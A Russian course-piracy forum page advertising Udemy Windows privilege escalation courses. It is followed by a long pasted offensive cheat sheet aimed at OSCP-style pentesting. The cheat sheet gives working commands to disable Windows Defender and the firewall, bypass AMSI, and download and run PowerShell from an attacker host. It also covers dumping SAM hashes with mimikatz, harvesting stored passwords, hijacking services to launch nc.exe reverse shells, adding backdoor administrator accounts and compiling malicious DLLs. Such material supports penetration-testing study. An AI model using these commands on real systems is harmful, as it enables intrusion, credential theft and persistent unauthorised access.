-
Получите вечный Премиум доступ к более чем 120 000 курсов + приватный раздел за 750 500 рублей
Премиум PRO +Guard.ws + Elements.Envato + доступ к удалённым курсам и книгам 1500 1000 рублей
Подписка действует на все доступные курсы!
Акция действует до 5 Февраля включительно!
Оформить подписку
Подробнее
-
Главная
-
Каталог инфопродуктов
-
Курсы на английском языке
- [Udemy] Windows Privilege Escalation…
Вам необходимо обновить браузер или попробовать использовать другой.
На английском [Udemy] Windows Privilege Escalation for OSCP & Beyond! (2020)
-
Автор темыFlesh
-
Дата начала22.08.21
- Сообщения
- 59,281
- Реакции
- 277,353
-
#1
Название: Windows Privilege Escalation for OSCP & Beyond! (2020)
This course teaches privilege escalation in Windows, from basics such as how permissions work, to in-depth coverage and demonstrations of actual privilege escalation techniques. The course comes with a full set of slides (150+), and a script which can be used by students to create an intentionally vulnerable Windows 10 configuration to practice their own privilege escalation skills on. This is a 100% privilege escalation course, with absolutely no filler!
Please note that this course is aimed at students currently taking, or planning to take the OSCP, and thus covers more common forms of privilege escalation. Some extra methods are included, and more methods may be added in the future, however this course was not designed to cover every possible (or obscure) method.
What you’ll learn
- Multiple methods for escalating privileges on a Windows system.
- In depth explanations of why and how these methods work.
- Tools which can help identify potential privilege escalation vulnerabilities on a Windows system.
- A setup script you can run on a (free) trial version of Windows 10, creating an intentionally vulnerable VM to practice privilege escalation on.
Who this course is for:
- Beginner and intermediate ethical hackers.
- Students currently taking or planning to take the PWK/OSCP course.
Скачать:
- [English with Lucy] Complete British English Pronunciation Course
- [Ирина Бродская] Understanding Stress. Курс по американскому произношению (2022)
- [Марина Могилко] 12-in-1 Tenses Handbook + воркбук (2022)
- [Эмилли Феррис] Реалистичные техники вышивания [Domestika] (2021)
- [linguatrip] [Марина Могилко] Grammar Is All You Need 2.0 (2021)
- [Alexander Schlee] Web Scraping APIs for Data Science 2021 (PostgreSQL+Excel) [Udemy] (2021)
- [Harrison Ferrone] Learning C# by Developing Games with Unity 2020
- [Udemy] Learn Machine Learning & Data Science Foundations Masterclass (2021)
- [Udemy] Learn Ethical Hacking Online – A to Z Training (202)
- [Robert Gioia] Complete C# Programming Course 2021 – Beginner to Expert [Udemy]
-
Главная
-
Каталог инфопродуктов
-
Курсы на английском языке
- [Udemy] Windows Privilege Escalation…
- Сообщения
- 14.375
- Лайки
- 10.687
-
#1
Windows Privilege Escalation for Beginners
Udemy — TCM Security
Описание:
Этот курс посвящен тактике и методам повышения привилегий Windows, разработанным, чтобы помочь вам улучшить вашу игру повышения привилегий.
Студенты должны пройти этот курс, если они заинтересованы в:
- Лучшее понимание методов повышения привилегий.
- Улучшение набора навыков Capture the Flag.
- Подготовка к сертификации, такой как OSCP, eCPPT, CEH и т. Д.
Требования:
- Предпочтительны предварительные знания хакеров для начинающих.
- Предпочтительно предварительное знание виртуализации.
- Для прохождения курса требуется подписка на Hack the Box.
- Для прохождения курса настоятельно рекомендуется подписка на TryHackMe.
Что я узнаю?
1) Как перечислить системы Windows вручную и с помощью инструментов.
2) Множество методов повышения привилегий, в том числе:
- Эксплойты ядра.
- Поиск паролей.
- Атаки за выдачу себя за другое лицо.
- Атаки на реестр.
- Исполняемые файлы.
- Запланировать задачи.
- Приложения для запуска.
- Перехват DLL.
- Разрешения службы.
- Подсистема Windows для Linux.
- CVE-2019-1388.
Материал на английском языке
Продажник:
Скачать:
windows-privilege-escalation
Summary
- Tools
- Windows Version and Configuration
- User Enumeration
- Network Enumeration
- Antivirus & Detections
- Windows Defender
- Firewall
- AppLocker Enumeration
- Powershell
- Default Writeable Folders
- EoP — Looting for passwords
- SAM and SYSTEM files
- HiveNightmare
- Search for file contents
- Search for a file with a certain filename
- Search the registry for key names and passwords
- Passwords in unattend.xml
- Wifi passwords
- Sticky Notes passwords
- Passwords stored in services
- Powershell History
- Powershell Transcript
- Password in Alternate Data Stream
- EoP — Processes Enumeration and Tasks
- EoP — Incorrect permissions in services
- EoP — Windows Subsystem for Linux (WSL)
- EoP — Unquoted Service Paths
- EoP — $PATH Interception
- EoP — Named Pipes
- EoP — Kernel Exploitation
- EoP — AlwaysInstallElevated
- EoP — Insecure GUI apps
- EoP — Evaluating Vulnerable Drivers
- EoP — Printers
- Universal Printer
- Bring Your Own Vulnerability
- EoP — Runas
- EoP — Abusing Shadow Copies
- EoP — From local administrator to NT SYSTEM
- EoP — Living Off The Land Binaries and Scripts
- EoP — Impersonation Privileges
- Restore A Service Account’s Privileges
- Meterpreter getsystem and alternatives
- RottenPotato (Token Impersonation)
- Juicy Potato (Abusing the golden privileges)
- Rogue Potato (Fake OXID Resolver))
- EFSPotato (MS-EFSR EfsRpcOpenFileRaw))
- EoP — Privileged File Write
- DiagHub
- UsoDLLLoader
- WerTrigger
- EoP — Common Vulnerabilities and Exposures
- MS08-067 (NetAPI)
- MS10-015 (KiTrap0D)
- MS11-080 (adf.sys)
- MS15-051 (Client Copy Image)
- MS16-032
- MS17-010 (Eternal Blue)
- CVE-2019-1388
- EoP — $PATH Interception
- References
Tools
-
PowerSploit’s PowerUp
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
-
Watson — Watson is a (.NET 2.0 compliant) C# implementation of Sherlock
-
(Deprecated) Sherlock — PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1
-
BeRoot — Privilege Escalation Project — Windows / Linux / Mac
-
Windows-Exploit-Suggester
./windows-exploit-suggester.py --update ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
-
windows-privesc-check — Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems
-
WindowsExploits — Windows exploits, mostly precompiled. Not being updated.
-
WindowsEnum — A Powershell Privilege Escalation Enumeration Script.
-
Seatbelt — A C# project that performs a number of security oriented host-survey «safety checks» relevant from both offensive and defensive security perspectives.
Seatbelt.exe -group=all -full Seatbelt.exe -group=system -outputfile="C:Tempsystem.txt" Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIREsam -password="yum "po-ta-toes""
-
Powerless — Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind
-
JAWS — Just Another Windows (Enum) Script
powershell.exe -ExecutionPolicy Bypass -File .jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
-
winPEAS — Windows Privilege Escalation Awesome Script
-
Windows Exploit Suggester — Next Generation (WES-NG)
# First obtain systeminfo systeminfo systeminfo > systeminfo.txt # Then feed it to wesng python3 wes.py --update-wes python3 wes.py --update python3 wes.py systeminfo.txt
-
PrivescCheck — Privilege Escalation Enumeration Script for Windows
C:Temp>powershell -ep bypass -c ". .PrivescCheck.ps1; Invoke-PrivescCheck" C:Temp>powershell -ep bypass -c ". .PrivescCheck.ps1; Invoke-PrivescCheck -Extended" C:Temp>powershell -ep bypass -c ". .PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"
-
juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITYSYSTEM.
-
Potato: Potato Privilege Escalation on Windows 7, 8, 10, Server 2008, Server 2012.
-
PowerSploit: PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.
-
PrivescCheck: Enumerate common Windows security misconfigurations which can be leveraged for privilege escalation and gather various information which might be useful for exploitation and/or post-exploitation, by itm4n
-
RoguePotato: Another Windows Local Privilege Escalation from Service Account to System by splinter_code/antonioCoco
-
RottenPotato: RottenPotato local privilege escalation from service account to SYSTEM. (No longer maintained)
-
RottenPotatoNG: New version of RottenPotato as a C++ DLL and standalone C++ binary — no need for meterpreter or other tools.
-
SessionGopher: SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools.
-
Sherlock: PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities. (Deprecated)
-
SweetPotato: Local Service to SYSTEM privilege escalation from Windows 7 to Windows 10 / Server 2019 by CCob
-
Tater: Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit.
-
WinPwnage: UAC bypass, Elevate, Persistence and Execution methods. The goal of this repo is to study the Windows penetration techniques.
Windows Version and Configuration
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Extract patchs and updates
Architecture
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
List all env variables
set Get-ChildItem Env: | ft Key,Value
List all drives
wmic logicaldisk get caption || fsutil fsinfo drives wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.CoreFileSystem"}| ft Name,Root
User Enumeration
Get current username
echo %USERNAME% || whoami $env:username
List user privilege
whoami /priv whoami /groups
List all users
net user whoami /all Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:Users -Force | select Name
List logon requirements; useable for bruteforcing
Get details about a user (i.e. administrator, admin, current user)
net user administrator net user admin net user %USERNAME%
List all local groups
net localgroup Get-LocalGroup | ft Name
Get details about a group (i.e. administrators)
net localgroup administrators Get-LocalGroupMember Administrators | ft Name, PrincipalSource Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
Get Domain Controllers
nltest /DCLIST:DomainName nltest /DCNAME:DomainName nltest /DSGETDC:DomainName
Network Enumeration
List all network interfaces, IP, and DNS.
ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft
List current routing table
route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
List the ARP table
arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
List all current connections
List all network shares
net share powershell Find-DomainShare -ComputerDomain domain.local
SNMP Configuration
reg query HKLMSYSTEMCurrentControlSetServicesSNMP /s Get-ChildItem -path HKLM:SYSTEMCurrentControlSetServicesSNMP -Recurse
Antivirus & Detections
Enumerate antivirus on a box with WMIC /Node:localhost /Namespace:\rootSecurityCenter2 Path AntivirusProduct Get displayName
Windows Defender
# check status of Defender PS C:> Get-MpComputerStatus # disable scanning all downloaded files and attachments, disable AMSI (reactive) PS C:> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus PS C:> Set-MpPreference -DisableIOAVProtection $true # disable AMSI (set to 0 to enable) PS C:> Set-MpPreference -DisableScriptScanning 1 # exclude a folder PS C:> Add-MpPreference -ExclusionPath "C:Temp" PS C:> Add-MpPreference -ExclusionPath "C:WindowsTasks" PS C:> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe" # remove signatures (if Internet connection is present, they will be downloaded again): PS > "C:ProgramDataMicrosoftWindows DefenderPlatform4.18.2008.9-0MpCmdRun.exe" -RemoveDefinitions -All
Firewall
List firewall state and current configuration
netsh advfirewall firewall dump
# or
netsh firewall show state
netsh firewall show config
List firewall’s blocked ports
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
Disable firewall
# Disable Firewall on Windows 7 via cmd reg add "HKEY_LOCAL_MACHINESYSTEMCurentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f # Disable Firewall on Windows 7 via Powershell powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:SystemCurrentControlSetControlTerminal Server" -Name "fDenyTSConnections" –Value'` # Disable Firewall on any windows via cmd netsh firewall set opmode disable netsh Advfirewall set allprofiles state off
AppLocker Enumeration
- With the GPO
- HKLMSOFTWAREPoliciesMicrosoftWindowsSrpV2 (Keys: Appx, Dll, Exe, Msi and Script).
-
List AppLocker rules
PowerView PS C:> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
-
Applocker Bypass
- https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
- https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
- https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md
Powershell
Default powershell locations in a Windows system.
C:windowssyswow64windowspowershellv1.0powershell C:WindowsSystem32WindowsPowerShellv1.0powershell
Powershell Constrained Mode
# Check if we are in a constrained mode $ExecutionContext.SessionState.LanguageMode PS > &{ whoami } powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')" # PowerShDLL - Powershell with no Powershell.exe via DLL’s # https://github.com/p3nt4/PowerShdll ftp> rundll32.exe C:tempPowerShdll.dll,main
Example of AMSI Bypass.
PS C:> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
Default Writeable Folders
C:WindowsSystem32MicrosoftCryptoRSAMachineKeys C:WindowsSystem32spooldriverscolor C:WindowsTasks C:Windowstracing C:WindowsTemp C:UsersPublic
EoP — Looting for passwords
SAM and SYSTEM files
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
# Usually %SYSTEMROOT% = C:Windows %SYSTEMROOT%repairSAM %SYSTEMROOT%System32configRegBackSAM %SYSTEMROOT%System32configSAM %SYSTEMROOT%repairsystem %SYSTEMROOT%System32configSYSTEM %SYSTEMROOT%System32configRegBacksystem
Generate a hash file for John using pwdump
or samdump2
.
pwdump SYSTEM SAM > /root/sam.txt samdump2 SYSTEM SAM -o sam.txt
Either crack it with john -format=NT /root/sam.txt
or use Pass-The-Hash.
HiveNightmare
CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user
Check for the vulnerability using icacls
C:WindowsSystem32> icacls configSAM configSAM BUILTINAdministrators:(I)(F) NT AUTHORITYSYSTEM:(I)(F) BUILTINUsers:(I)(RX) <-- this is wrong - regular users should not have read access!
Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.
mimikatz> token::whoami /full # List shadow copies available mimikatz> misc::shadowcopies # Extract account from SAM databases mimikatz> lsadump::sam /system:\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM /sam:\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSAM # Extract secrets from SECURITY mimikatz> lsadump::secrets /system:\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM /security:\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSECURITY
Search for file contents
cd C: & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.*
Search for a file with a certain filename
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C: user.txt where /R C: *.ini
Search the registry for key names and passwords
REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" # Windows Autologin reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" reg query "HKLMSYSTEMCurrentControlSetServicesSNMP" # SNMP parameters reg query "HKCUSoftwareSimonTathamPuTTYSessions" # Putty clear text proxy credentials reg query "HKCUSoftwareORLWinVNC3Password" # VNC credentials reg query HKEY_LOCAL_MACHINESOFTWARERealVNCWinVNC4 /v password reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s
Read a value of a certain sub key
REG QUERY "HKLMSoftwareMicrosoftFTH" /V RuleList
Passwords in unattend.xml
Location of the unattend.xml files.
C:unattend.xml C:WindowsPantherUnattend.xml C:WindowsPantherUnattendUnattend.xml C:Windowssystem32sysprep.inf C:Windowssystem32sysprepsysprep.xml
Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
.
Example content
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64"> <AutoLogon> <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password> <Enabled>true</Enabled> <Username>Administrateur</Username> </AutoLogon> <UserAccounts> <LocalAccounts> <LocalAccount wcm:action="add"> <Password>*SENSITIVE*DATA*DELETED*</Password> <Group>administrators;users</Group> <Name>Administrateur</Name> </LocalAccount> </LocalAccounts> </UserAccounts>
Unattend credentials are stored in base64 and can be decoded manually with base64.
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d SecretSecurePassword1234*
The Metasploit module post/windows/gather/enum_unattend
looks for these files.
IIS Web config
Get-Childitem –Path C:inetpub -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:WindowsMicrosoft.NETFramework64v4.0.30319Configweb.config
C:inetpubwwwrootweb.config
Other files
%SYSTEMDRIVE%pagefile.sys %WINDIR%debugNetSetup.log %WINDIR%repairsam %WINDIR%repairsystem %WINDIR%repairsoftware, %WINDIR%repairsecurity %WINDIR%iis6.log %WINDIR%system32configAppEvent.Evt %WINDIR%system32configSecEvent.Evt %WINDIR%system32configdefault.sav %WINDIR%system32configsecurity.sav %WINDIR%system32configsoftware.sav %WINDIR%system32configsystem.sav %WINDIR%system32CCMlogs*.log %USERPROFILE%ntuser.dat %USERPROFILE%LocalS~1Tempor~1Content.IE5index.dat %WINDIR%System32driversetchosts C:ProgramDataConfigs* C:Program FilesWindows PowerShell* dir c:*vnc.ini /s /b dir c:*ultravnc.ini /s /b
Wifi passwords
Find AP SSID
Get Cleartext Pass
netsh wlan show profile <SSID> key=clear
Oneliner method to extract wifi passwords from all the access point.
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
Sticky Notes passwords
The sticky notes app stores it’s content in a sqlite db located at C:Users<user>AppDataLocalPackagesMicrosoft.MicrosoftStickyNotes_8wekyb3d8bbweLocalStateplum.sqlite
Passwords stored in services
Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1 Import-Module pathtoSessionGopher.ps1; Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.comadm-arvanaghi -p s3cr3tP@ss
Powershell History
Disable Powershell history: Set-PSReadlineOption -HistorySaveStyle SaveNothing
.
type %userprofile%AppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt type C:UsersswisskyAppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt type $env:APPDATAMicrosoftWindowsPowerShellPSReadLineConsoleHost_history.txt cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw
Powershell Transcript
C:Users<USERNAME>DocumentsPowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt C:Transcripts<DATE>PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
Password in Alternate Data Stream
PS > Get-Item -path flag.txt -Stream * PS > Get-Content -path flag.txt -Stream Flag
EoP — Processes Enumeration and Tasks
-
What processes are running?
tasklist /v net start sc query Get-Service Get-Process Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
-
Which processes are running as «system»
tasklist /v /fi "username eq system"
-
Do you have powershell magic?
REG QUERY "HKLMSOFTWAREMicrosoftPowerShell1PowerShellEngine" /v PowerShellVersion
-
List installed programs
Get-ChildItem 'C:Program Files', 'C:Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINESOFTWARE | ft Name
-
List services
net start wmic service list brief tasklist /SVC
-
Enumerate scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM|Task To Run" | grep -B 1 SYSTEM Get-ScheduledTask | where {$_.TaskPath -notlike "Microsoft*"} | ft TaskName,TaskPath,State
-
Startup tasks
wmic startup get caption,command reg query HKLMSoftwareMicrosoftWindowsCurrentVersionR reg query HKCUSoftwareMicrosoftWindowsCurrentVersionRun reg query HKCUSoftwareMicrosoftWindowsCurrentVersionRunOnce dir "C:Documents and SettingsAll UsersStart MenuProgramsStartup" dir "C:Documents and Settings%username%Start MenuProgramsStartup"
EoP — Incorrect permissions in services
A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.
Often, services are pointing to writeable locations:
-
Orphaned installs, not installed anymore but still exist in startup
-
DLL Hijacking
# find missing DLL - Find-PathDLLHijack PowerUp.ps1 - Process Monitor : check for "Name Not Found" # compile a malicious dll - For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll" - For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll" # content of windows_dll.c #include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { if (dwReason == DLL_PROCESS_ATTACH) { system("cmd.exe /k whoami > C:\Windows\Temp\dll.txt"); ExitProcess(0); } return TRUE; }
-
PATH directories with weak permissions
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:windowstemppermissions.txt $ for /f eol^=^"^ delims^=^" %a in (c:windowstemppermissions.txt) do cmd.exe /c icacls "%a" $ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt FOR /F %i in (Servicenames.txt) DO echo %i type Servicenames.txt FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
Alternatively you can use the Metasploit exploit : exploit/windows/local/service_permissions
Note to check file permissions you can use cacls
and icacls
icacls (Windows Vista +)
cacls (Windows XP)
You are looking for BUILTINUsers:(F)
(Full access), BUILTINUsers:(M)
(Modify access) or BUILTINUsers:(W)
(Write-only access) in the output.
Example with Windows 10 — CVE-2019-1322 UsoSvc
Prerequisite: Service account
PS C:Windowssystem32> sc.exe stop UsoSvc PS C:Windowssystem32> sc.exe config usosvc binPath="C:WindowsSystem32spooldriverscolornc.exe 10.10.10.10 4444 -e cmd.exe" PS C:Windowssystem32> sc.exe config UsoSvc binpath= "C:Usersmssql-svcDesktopnc.exe 10.10.10.10 4444 -e cmd.exe" PS C:Windowssystem32> sc.exe config UsoSvc binpath= "cmd c C:Usersnc.exe 10.10.10.10 4444 -e cmd.exe" PS C:Windowssystem32> sc.exe qc usosvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: usosvc TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START (DELAYED) ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:Usersmssql-svcDesktopnc.exe 10.10.10.10 4444 -e cmd.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Update Orchestrator Service DEPENDENCIES : rpcss SERVICE_START_NAME : LocalSystem PS C:Windowssystem32> sc.exe start UsoSvc
Example with Windows XP SP1 — upnphost
# NOTE: spaces are mandatory for this exploit to work ! sc config upnphost binpath= "C:Inetpubwwwrootnc.exe 10.11.0.73 4343 -e C:WINDOWSSystem32cmd.exe" sc config upnphost obj= ".LocalSystem" password= "" sc qc upnphost sc config upnphost depend= "" net start upnphost
If it fails because of a missing dependency, try the following commands.
sc config SSDPSRV start=auto net start SSDPSRV net stop upnphost net start upnphost sc config upnphost depend=""
Using accesschk
from Sysinternals or accesschk-XP.exe — github.com/phackt
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula RW SSDPSRV SERVICE_ALL_ACCESS RW upnphost SERVICE_ALL_ACCESS $ accesschk.exe -ucqv upnphost upnphost RW NT AUTHORITYSYSTEM SERVICE_ALL_ACCESS RW BUILTINAdministrators SERVICE_ALL_ACCESS RW NT AUTHORITYAuthenticated Users SERVICE_ALL_ACCESS RW BUILTINPower Users SERVICE_ALL_ACCESS $ sc config <vuln-service> binpath="net user backdoor backdoor123 /add" $ sc config <vuln-service> binpath= "C:nc.exe -nv 127.0.0.1 9988 -e C:WINDOWSSystem32cmd.exe" $ sc stop <vuln-service> $ sc start <vuln-service> $ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add" $ sc stop <vuln-service> $ sc start <vuln-service>
EoP — Windows Subsystem for Linux (WSL)
Technique borrowed from Warlockobama’s tweet
With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don’t know the root password? No problem just set the default user to root W/ .exe —default-user root. Now start your bind shell or reverse.
wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Binary bash.exe
can also be found in C:WindowsWinSxSamd64_microsoft-windows-lxssbash_[...]bash.exe
Alternatively you can explore the WSL
filesystem in the folder C:Users%USERNAME%AppDataLocalPackagesCanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgscLocalStaterootfs
EoP — Unquoted Service Paths
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr /i /v """ wmic service get name,displayname,startmode,pathname | findstr /i /v "C:Windows\" |findstr /i /v """ gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
- Metasploit exploit :
exploit/windows/local/trusted_service_path
- PowerUp exploit
# find the vulnerable application C:> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks" ... [*] Checking for unquoted service paths... ServiceName : BBSvc Path : C:Program FilesMicrosoftBing Bar7.1BBSvc.exe StartName : LocalSystem AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath> ... # automatic exploit Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "....UsersPublicnc.exe 10.10.10.10 4444 -e cmd.exe"
Example
For C:Program Filessomethinglegit.exe
, Windows will try the following paths first:
C:Program.exe
C:Program Files.exe
EoP — $PATH Interception
Requirements:
- PATH contains a writeable folder with low privileges.
- The writeable folder is before the folder that contains the legitimate binary.
EXAMPLE:
# List contents of the PATH environment variable # EXAMPLE OUTPUT: C:Program Filesnodejs;C:WINDOWSsystem32 $env:Path # See permissions of the target folder # EXAMPLE OUTPUT: BUILTINUsers: GR,GW icacls.exe "C:Program Filesnodejs" # Place our evil-file in that folder. copy evil-file.exe "C:Program Filesnodejscmd.exe"
Because (in this example) «C:Program Filesnodejs» is before «C:WINDOWSsystem32» on the PATH variable, the next time the user runs «cmd.exe», our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.
EoP — Named Pipes
- Find named pipes:
[System.IO.Directory]::GetFiles("\.pipe")
- Check named pipes DACL:
pipesec.exe <named_pipe>
- Reverse engineering software
- Send data throught the named pipe :
program.exe >\.pipeStdOutPipe 2>\.pipeStdErrPipe
EoP — Kernel Exploitation
List of exploits kernel : https://github.com/SecWiki/windows-kernel-exploits
#Security Bulletin #KB #Description #Operating System
- MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8)
- CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008)
- CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
- CVE-2018-0833 [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)
- CVE-2018-8120 [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
- MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP)
- MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
- MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1)
- MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
- MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
- MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012)
- MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
- MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
- MS16-014 [K3134228] [remote code execution] (2008/Vista/7)
… - MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
To cross compile a program from Kali, use the following command.
Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c
EoP — AlwaysInstallElevated
Check if these registry values are set to «1».
